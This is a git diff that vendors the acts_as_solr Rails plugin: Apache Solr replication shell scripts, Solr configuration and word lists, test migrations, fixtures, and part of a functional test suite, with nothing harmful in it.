+ logExit ended 0 +fi + +# take a snapshot of current index so that only modified files will be rsync-ed +# put the snapshot in the 'work-in-progress" directory to prevent it from +# being installed while the copying is still in progress +cp -lr ${data_dir}/index ${data_dir}/${name}-wip +# force rsync of segments and .del files since we are doing size-only +if [[ -n ${sizeonly} ]] +then + rm -f ${data_dir}/${name}-wip/segments + rm -f ${data_dir}/${name}-wip/*.del +fi + +logMessage pulling snapshot ${name} + +# make sure master has directory for hold slaves stats/state +ssh -o StrictHostKeyChecking=no ${master_host} mkdir -p ${master_status_dir} + +# start new distribution stats +rsyncStart=`date` +startTimestamp=`date -d "$rsyncStart" +'%Y%m%d-%H%M%S'` +rsyncStartSec=`date -d "$rsyncStart" +'%s'` +startStatus="rsync of `basename ${name}` started:$startTimestamp" +echo ${startStatus} > ${solr_root}/logs/snappuller.status +pushStatus + +# rsync over files that have changed +rsync -Wa${verbose}${compress} --delete ${sizeonly} \ +${stats} rsync://${master_host}:${rsyncd_port}/solr/${name}/ ${data_dir}/${name}-wip + +rc=$? +rsyncEnd=`date` +endTimestamp=`date -d "$rsyncEnd" +'%Y%m%d-%H%M%S'` +rsyncEndSec=`date -d "$rsyncEnd" +'%s'` +elapsed=`expr $rsyncEndSec - $rsyncStartSec` +if [[ $rc != 0 ]] +then + logMessage rsync failed + /bin/rm -rf ${data_dir}/${name}-wip + echo ${startStatus} failed:$endTimestamp > ${solr_root}/logs/snappuller.status + pushStatus + logExit failed 1 +fi + +# move into place atomically +mv ${data_dir}/${name}-wip ${data_dir}/${name} + +# finish new distribution stats` +echo ${startStatus} ended:$endTimestamp rsync-elapsed:${elapsed} > ${solr_root}/logs/snappuller.status +pushStatus +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller-disable b/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller-disable new file mode 100644 index 00000000..9bf3f836 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller-disable @@ -0,0 +1,77 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to disable snappuller + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/snappuller.log + +# define usage string +USAGE="\ +usage: $prog [-u username] [-v] + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts u:vV OPTION +do + case $OPTION in + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +start=`date +"%s"` + +logMessage disabled by $oldwhoami +logMessage command: $0 $@ +name=${solr_root}/logs/snappuller-enabled + +if [[ -f ${name} ]] +then + rm -f ${name} +else + logMessage snappuller not currently enabled + logExit exited 1 +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller-enable b/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller-enable new file mode 100644 index 00000000..b379ba13 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/snappuller-enable @@ -0,0 +1,77 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to enable snappuller + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/snappuller.log + +# define usage string +USAGE="\ +usage: $prog [-u username] [-v] + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts u:vV OPTION +do + case $OPTION in + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +start=`date +"%s"` + +logMessage enabled by $oldwhoami +logMessage command: $0 $@ +name=${solr_root}/logs/snappuller-enabled + +if [[ -f ${name} ]] +then + logMessage snappuller already currently enabled + logExit exited 1 +else + touch ${name} +fi + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/snapshooter b/vendor/plugins/acts_as_solr/solr/solr/bin/snapshooter new file mode 100644 index 00000000..f172f7c2 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/snapshooter @@ -0,0 +1,109 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to take a snapshot of a Solr Lucene collection. + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset data_dir user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-d dir] [-u username] [-v] + -d specify directory holding index data + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts d:u:vV OPTION +do + case $OPTION in + d) + data_dir="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +fixUser "$@" + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +snap_name=snapshot.`date +"%Y%m%d%H%M%S"` +name=${data_dir}/${snap_name} +temp=${data_dir}/temp-${snap_name} + +if [[ -d ${name} ]] +then + logMessage snapshot directory ${name} already exists + logExit aborted 1 +fi + +if [[ -d ${temp} ]] +then + logMessage snapshoting of ${name} in progress + logExit aborted 1 +fi + +# clean up after INT/TERM +trap 'echo cleaning up, please wait ...;/bin/rm -rf ${name} ${temp};logExit aborted 13' INT TERM + +logMessage taking snapshot ${name} + +# take a snapshot using hard links into temporary location +# then move it into place atomically +cp -lr ${data_dir}/index ${temp} +mv ${temp} ${name} + +logExit ended 0 + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/admin-extra.html b/vendor/plugins/acts_as_solr/solr/solr/conf/admin-extra.html new file mode 100644 index 00000000..aa739da8 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/admin-extra.html @@ -0,0 +1,31 @@ + + + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/protwords.txt b/vendor/plugins/acts_as_solr/solr/solr/conf/protwords.txt new file mode 100644 index 00000000..1dfc0abe --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/protwords.txt @@ -0,0 +1,21 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +#----------------------------------------------------------------------- +# Use a protected word file to protect against the stemmer reducing two +# unrelated words to the same base word. + +# Some non-words that normally won't be encountered, +# just to test that they won't be stemmed. +dontstems +zwhacky + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/schema.xml b/vendor/plugins/acts_as_solr/solr/solr/conf/schema.xml new file mode 100644 index 00000000..e559039b --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/schema.xml @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + id + text + + + + + + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/scripts.conf b/vendor/plugins/acts_as_solr/solr/solr/conf/scripts.conf new file mode 100644 index 00000000..f58b262a --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/scripts.conf @@ -0,0 +1,24 @@ +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +user= +solr_hostname=localhost +solr_port=8983 +rsyncd_port=18983 +data_dir= +webapp_name=solr +master_host= +master_data_dir= +master_status_dir= diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/solrconfig.xml b/vendor/plugins/acts_as_solr/solr/solr/conf/solrconfig.xml new file mode 100644 index 00000000..f1c48cdc --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/solrconfig.xml @@ -0,0 +1,458 @@ + + + + + + ${solr.abortOnConfigurationError:true} + + + + ${solr.data.dir:./solr/data} + + + + false + 10 + 1000 + 2147483647 + 10000 + 1000 + 10000 + + + + + false + 10 + 1000 + 2147483647 + 10000 + + + false + + + + + + + + + + + + + + + + + + + 1024 + + + + + + + + + + + + + true + + + + + + + + 10 + + + + + + + + + + + + + + + + + + false + + + 4 + + + + + + + + + + + + + + + explicit + map + + + + + + + + explicit + 0.01 + + text^0.5 features^1.0 name^1.2 sku^1.5 id^10.0 manu^1.1 cat^1.4 + + + text^0.2 features^1.1 name^1.5 manu^1.4 manu_exact^1.9 + + + ord(poplarity)^0.5 recip(rord(price),1,1000,1000)^0.3 + + + id,name,price,score + + + 2<-1 5<-2 6<90% + + 100 + *:* + + + + + + + explicit + text^0.5 features^1.0 name^1.2 sku^1.5 id^10.0 + 2<-1 5<-2 6<90% + + incubationdate_dt:[* TO NOW/DAY-1MONTH]^2.2 + + + + inStock:true + + + + cat + manu_exact + price:[* TO 500] + price:[500 TO *] + + + + + + + inStock:true + + + text^0.5 features^1.0 name^1.2 sku^1.5 id^10.0 manu^1.1 cat^1.4 + + + 2<-1 5<-2 6<90% + + + + + + + + + 1 + 0.5 + + + + + + + + spell + + + + + word + + + + + + + + + + + + + + + + + + + + + + explicit + true + + + + + + + + 5 + + + + + solr + solrconfig.xml schema.xml admin-extra.html + + + qt=standard&q=solrpingquery + + + + + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/stopwords.txt b/vendor/plugins/acts_as_solr/solr/solr/conf/stopwords.txt new file mode 100644 index 00000000..8433c832 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/stopwords.txt @@ -0,0 +1,57 @@ +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +#----------------------------------------------------------------------- +# a couple of test stopwords to test that the words are really being +# configured from this file: +stopworda +stopwordb + +#Standard english stop words taken from Lucene's StopAnalyzer +an +and +are +as +at +be +but +by +for +if +in +into +is +it +no +not +of +on +or +s +such +t +that +the +their +then +there +these +they +this +to +was +will +with + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/synonyms.txt b/vendor/plugins/acts_as_solr/solr/solr/conf/synonyms.txt new file mode 100644 index 00000000..b0e31cb7 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/synonyms.txt @@ -0,0 +1,31 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +#----------------------------------------------------------------------- +#some test synonym mappings unlikely to appear in real input text +aaa => aaaa +bbb => bbbb1 bbbb2 +ccc => cccc1,cccc2 +a\=>a => b\=>b +a\,a => b\,b +fooaaa,baraaa,bazaaa + +# Some synonym groups specific to this example +GB,gib,gigabyte,gigabytes +MB,mib,megabyte,megabytes +Television, Televisions, TV, TVs +#notice we use "gib" instead of "GiB" so any WordDelimiterFilter coming +#after us won't split it into two words. + +# Synonym mappings can be used for spelling correction too +pixima => pixma + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example.xsl b/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example.xsl new file mode 100644 index 00000000..6832a1d4 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example.xsl @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + <xsl:value-of select="$title"/> + + + +

+
+ This has been formatted by the sample "example.xsl" transform - + use your own XSLT to get a nicer page +
+ + + +
+ + + +
+ + + + +
+
+
+ + + + + + + + + + + + + + javascript:toggle("");? +
+ + exp + + + + + +
+ + +
+ + + + + + + +
    + +
  • +
    +
+ + +
+ + + + + + + + + + + + + + + + + + + + +
diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example_atom.xsl b/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example_atom.xsl new file mode 100644 index 00000000..e7179721 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example_atom.xsl @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + Example Solr Atom 1.0 Feed + + This has been formatted by the sample "example_atom.xsl" transform - + use your own XSLT to get a nicer Atom feed. + + + Apache Solr + solr-user@lucene.apache.org + + + + + + tag:localhost,2007:example + + + + + + + + + <xsl:value-of select="str[@name='name']"/> + + tag:localhost,2007: + + + + + + diff --git a/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example_rss.xsl b/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example_rss.xsl new file mode 100644 index 00000000..57bb2799 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/conf/xslt/example_rss.xsl @@ -0,0 +1,62 @@ + + + + + + + + + + + + + Example Solr RSS 2.0 Feed + http://localhost:8983/solr + + This has been formatted by the sample "example_rss.xsl" transform - + use your own XSLT to get a nicer RSS feed. + + en-us + http://localhost:8983/solr + + + + + + + + + + + <xsl:value-of select="str[@name='name']"/> + + http://localhost:8983/solr/select?q=id: + + + + + + + http://localhost:8983/solr/select?q=id: + + + + diff --git a/vendor/plugins/acts_as_solr/solr/start.jar b/vendor/plugins/acts_as_solr/solr/start.jar new file mode 100644 index 00000000..8a986c80 Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/start.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/tmp/.empty-dir-for-git b/vendor/plugins/acts_as_solr/solr/tmp/.empty-dir-for-git new file mode 100644 index 00000000..e69de29b diff --git a/vendor/plugins/acts_as_solr/solr/webapps/solr.war b/vendor/plugins/acts_as_solr/solr/webapps/solr.war new file mode 100644 index 00000000..d62fd557 Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/webapps/solr.war differ diff --git a/vendor/plugins/acts_as_solr/test/config/solr.yml b/vendor/plugins/acts_as_solr/test/config/solr.yml new file mode 100644 index 00000000..89f6f3f7 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/config/solr.yml @@ -0,0 +1,2 @@ +test: + url: http://localhost:8981/solr \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/db/connections/mysql/connection.rb b/vendor/plugins/acts_as_solr/test/db/connections/mysql/connection.rb new file mode 100644 index 00000000..f870e351 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/connections/mysql/connection.rb @@ -0,0 +1,10 @@ +require 'logger' +ActiveRecord::Base.logger = Logger.new("debug.log") + +ActiveRecord::Base.establish_connection( + :adapter => "mysql", + :username => MYSQL_USER, + :encoding => "utf8", + :database => "actsassolr_tests" +) + diff --git a/vendor/plugins/acts_as_solr/test/db/connections/sqlite/connection.rb b/vendor/plugins/acts_as_solr/test/db/connections/sqlite/connection.rb new file mode 100644 index 00000000..b8e6348e --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/connections/sqlite/connection.rb @@ -0,0 +1,8 @@ +require 'logger' +ActiveRecord::Base.logger = Logger.new("debug.log") + +ActiveRecord::Base.establish_connection( + :adapter => "sqlite3", + :encoding => "utf8", + :database => File.join(File.dirname(File.expand_path(__FILE__)), '..', '..', 'test.db') +) diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/001_create_books.rb b/vendor/plugins/acts_as_solr/test/db/migrate/001_create_books.rb new file mode 100644 index 00000000..79011e98 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/001_create_books.rb @@ -0,0 +1,14 @@ +class CreateBooks < ActiveRecord::Migration + def self.up + create_table :books, :force => true do |t| + t.column :category_id, :integer + t.column :name, :string + t.column :author, :string + t.column :type, :string + end + end + + def self.down + drop_table :books + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/002_create_movies.rb b/vendor/plugins/acts_as_solr/test/db/migrate/002_create_movies.rb new file mode 100644 index 00000000..ebd75410 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/002_create_movies.rb @@ -0,0 +1,12 @@ +class CreateMovies < ActiveRecord::Migration + def self.up + create_table :movies, :force => true do |t| + t.column :name, :string + t.column :description, :string + end + end + + def self.down + drop_table :movies + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/003_create_categories.rb b/vendor/plugins/acts_as_solr/test/db/migrate/003_create_categories.rb new file mode 100644 index 00000000..742e3e74 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/003_create_categories.rb @@ -0,0 +1,11 @@ +class CreateCategories < ActiveRecord::Migration + def self.up + create_table :categories, :force => true do |t| + t.column :name, :string + end + end + + def self.down + drop_table :categories + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/004_create_electronics.rb b/vendor/plugins/acts_as_solr/test/db/migrate/004_create_electronics.rb new file mode 100644 index 00000000..2f8de79d --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/004_create_electronics.rb @@ -0,0 +1,15 @@ +class CreateElectronics < ActiveRecord::Migration + def self.up + create_table :electronics, :force => true do |t| + t.column :name, :string + t.column :manufacturer, :string + t.column :features, :string + t.column :category, :string + t.column :price, :string + end + end + + def self.down + drop_table :electronics + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/005_create_authors.rb b/vendor/plugins/acts_as_solr/test/db/migrate/005_create_authors.rb new file mode 100644 index 00000000..0edb4d53 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/005_create_authors.rb @@ -0,0 +1,12 @@ +class CreateAuthors < ActiveRecord::Migration + def self.up + create_table :authors, :force => true do |t| + t.column :name, :string + t.column :biography, :text + end + end + + def self.down + drop_table :authors + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/006_create_postings.rb b/vendor/plugins/acts_as_solr/test/db/migrate/006_create_postings.rb new file mode 100644 index 00000000..4fc78638 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/006_create_postings.rb @@ -0,0 +1,9 @@ +class CreatePostings < ActiveRecord::Migration + def self.up + execute "CREATE TABLE postings(`guid` varchar(20) NOT NULL PRIMARY KEY, `name` varchar(200), `description` text)" + end + + def self.down + drop_table :postings + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/007_create_posts.rb b/vendor/plugins/acts_as_solr/test/db/migrate/007_create_posts.rb new file mode 100644 index 00000000..03f765d1 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/007_create_posts.rb @@ -0,0 +1,13 @@ +class CreatePosts < ActiveRecord::Migration + def self.up + create_table :posts, :force => true do |t| + t.column :name, :string + t.column :reply_counter, :integer + t.column :posted_at, :datetime + end + end + + def self.down + drop_table :posts + end +end diff --git a/vendor/plugins/acts_as_solr/test/db/migrate/008_create_gadgets.rb b/vendor/plugins/acts_as_solr/test/db/migrate/008_create_gadgets.rb new file mode 100644 index 00000000..e0acba7d --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/db/migrate/008_create_gadgets.rb @@ -0,0 +1,11 @@ +class CreateGadgets < ActiveRecord::Migration + def self.up + create_table :gadgets, :force => true do |t| + t.column :name, :string + end + end + + def self.down + drop_table :gadgets + end +end diff --git a/vendor/plugins/acts_as_solr/test/fixtures/authors.yml b/vendor/plugins/acts_as_solr/test/fixtures/authors.yml new file mode 100644 index 00000000..c3c3571b --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/authors.yml @@ -0,0 +1,9 @@ +tom_clancy: + id: 1 + name: Tom Clancy + biography: Tom Clancy (born 1947) writes novels of adventure and espionage in the international military-industrial complex that have earned him enormous popularity in the 1980s as a creator of the "techno-thriller" genre. + +stephen_king: + id: 2 + name: Stephen King + biography: Stephen King (born 1947) is a prolific and immensely popular author of horror fiction. In his works, King blends elements of the traditional gothic tale with those of the modern psychological thriller, detective, and science fiction genres. diff --git a/vendor/plugins/acts_as_solr/test/fixtures/books.yml b/vendor/plugins/acts_as_solr/test/fixtures/books.yml new file mode 100644 index 00000000..fc7f8373 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/books.yml @@ -0,0 +1,11 @@ +splinter_cell: + id: 1 + category_id: 1 + name: Splinter Cell + author: Tom Clancy + +ruby: + id: 2 + category_id: 2 + name: Ruby for Dummies + author: Peter McPeterson diff --git a/vendor/plugins/acts_as_solr/test/fixtures/categories.yml b/vendor/plugins/acts_as_solr/test/fixtures/categories.yml new file mode 100644 index 00000000..0d17418f --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/categories.yml @@ -0,0 +1,7 @@ +thriller: + id: 1 + name: Thriller/Novels + +technical: + id: 2 + name: Technical Books \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/fixtures/db_definitions/mysql.sql b/vendor/plugins/acts_as_solr/test/fixtures/db_definitions/mysql.sql new file mode 100644 index 00000000..aac03cb2 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/db_definitions/mysql.sql @@ -0,0 +1,41 @@ +DROP DATABASE IF EXISTS `actsassolr_tests`; +CREATE DATABASE IF NOT EXISTS `actsassolr_tests`; +USE `actsassolr_tests` + +CREATE TABLE `books` ( + `id` int(11) NOT NULL auto_increment, + `category_id` int(11), + `name` varchar(200) default NULL, + `author` varchar(200) default NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `movies` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(200) default NULL, + `description` varchar(255) default NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `categories` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(200) default NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `electronics` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(200) default NULL, + `manufacturer` varchar(255) default NULL, + `features` varchar(255) default NULL, + `category` varchar(255) default NULL, + `price` varchar(20) default NULL, + PRIMARY KEY (`id`) +); + +CREATE TABLE `authors` ( + `id` int(11) NOT NULL auto_increment, + `name` varchar(200) default NULL, + `biography` text default NULL, + PRIMARY KEY (`id`) +); diff --git a/vendor/plugins/acts_as_solr/test/fixtures/electronics.yml b/vendor/plugins/acts_as_solr/test/fixtures/electronics.yml new file mode 100644 index 00000000..b4be6178 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/electronics.yml @@ -0,0 +1,39 @@ +ipod_video: + id: 1 + name: Apple 60 GB Memory iPod with Video Playback Black + manufacturer: Apple Computer Inc. + features: iTunes, Podcasts, Audiobooks + category: Electronics + price: 599.00 + +dell_monitor: + id: 2 + name: Dell Widescreen UltraSharp 3007WFP + manufacturer: Dell, Inc + features: 30" TFT active matrix LCD, 2560 x 1600, .25mm dot pitch, 700:1 contrast + category: Electronics + price: 750.00 + +samsung_hd: + id: 3 + name: Samsung SpinPoint P120 SP2514N - hard drive - 250 GB of Memory Storage - ATA-133 + manufacturer: Samsung Electronics Co. Ltd. + features: 7200RPM, 8MB cache, IDE Ultra ATA-133 + category: Hard Drive + price: 319.00 + +corsair_ram: + id: 4 + name: CORSAIR XMS 2GB (2 x 1GB) 184-Pin DDR SDRAM Unbuffered DDR 400 (PC 3200) Dual Channel Kit System Memory - Retail + manufacturer: Corsair Microsystems Inc. + features: CAS latency 2, 2-3-3-6 timing, 2.75v, unbuffered, heat-spreader + category: Memory + price: 155.00 + +a_data_ram: + id: 5 + name: A-DATA V-Series 1GB 184-Pin DDR SDRAM Unbuffered DDR 400 (PC 3200) System Memory - OEM + manufacturer: A-DATA Technology Inc. + features: CAS latency 3, 2.7v + category: Memory + price: 65.79 diff --git a/vendor/plugins/acts_as_solr/test/fixtures/movies.yml b/vendor/plugins/acts_as_solr/test/fixtures/movies.yml new file mode 100644 index 00000000..33cc4df9 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/movies.yml @@ -0,0 +1,9 @@ +napoleon_dynamite: + id: 1 + name: Napoleon Dynamite + description: Cool movie about a goofy guy + +office_space: + id: 2 + name: Office Space + description: Hypnotized dude loves fishing but not working \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/fixtures/postings.yml b/vendor/plugins/acts_as_solr/test/fixtures/postings.yml new file mode 100644 index 00000000..834b1f2f --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/fixtures/postings.yml @@ -0,0 +1,10 @@ +first: + guid: ABC-123 + name: Posting ABC + description: First posting testing primary key as string + +second: + guid: DEF-456 + name: Posting DEF + description: Second posting testing primary key as string + diff --git a/vendor/plugins/acts_as_solr/test/functional/acts_as_solr_test.rb b/vendor/plugins/acts_as_solr/test/functional/acts_as_solr_test.rb new file mode 100644 index 00000000..82ed1f4e --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/functional/acts_as_solr_test.rb @@ -0,0 +1,413 @@ +# encoding: utf-8 +require "#{File.dirname(File.expand_path(__FILE__))}/../test_helper" + +class ActsAsSolrTest < Test::Unit::TestCase + + fixtures :books, :movies, :electronics, :postings, :authors + + # Inserting new data into Solr and making sure it's getting indexed + def test_insert_new_data + assert_equal 2, Book.count_by_solr('ruby OR splinter OR bob') + b = Book.create(:name => "Fuze in action", :author => "Bob Bobber", :category_id => 1) + assert b.valid? + assert_equal 3, Book.count_by_solr('ruby OR splinter OR bob') + end + + # Check the type column stored in the index isn't stemmed by SOLR. If it is stemmed, + # then both Post and Posting will be stored as type:Post, so a query for Posts will + # return Postings and vice versa + + def test_insert_new_data_doesnt_stem_type + assert_equal 0, Post.count_by_solr('aardvark') + p = Posting.new :name => 'aardvark', :description => "An interesting animal" + p.guid = '12AB' + p.save! + assert_equal 0, Post.count_by_solr('aardvark') + end + + def test_type_determined_from_database_if_not_explicitly_set + assert Post.configuration[:solr_fields][:posted_at][:type] == :date + end + + def test_search_includes_subclasses + Novel.create! :name => 'Wuthering Heights', :author => 'Emily Bronte' + Book.create! :name => 'Jane Eyre', :author => 'Charlotte Bronte' + assert_equal 1, Novel.find_by_solr('Bronte').total_hits + assert_equal 2, Book.find_by_solr('Bronte').total_hits + end + + # Testing basic solr search: + # Model.find_by_solr 'term' + # Note that you're able to mix free-search with fields and boolean operators + def test_find_by_solr_ruby + ['ruby', 'dummy', 'name:ruby', 'name:dummy', 'name:ruby AND author:peter', + 'author:peter AND ruby', 'peter dummy'].each do |term| + records = Book.find_by_solr term + assert_equal 1, records.total + assert_equal "Peter McPeterson", records.docs.first.author + assert_equal "Ruby for Dummies", records.docs.first.name + assert_equal ({"id" => 2, + "category_id" => 2, + "name" => "Ruby for Dummies", + "author" => "Peter McPeterson", "type" => nil}), records.docs.first.attributes + end + end 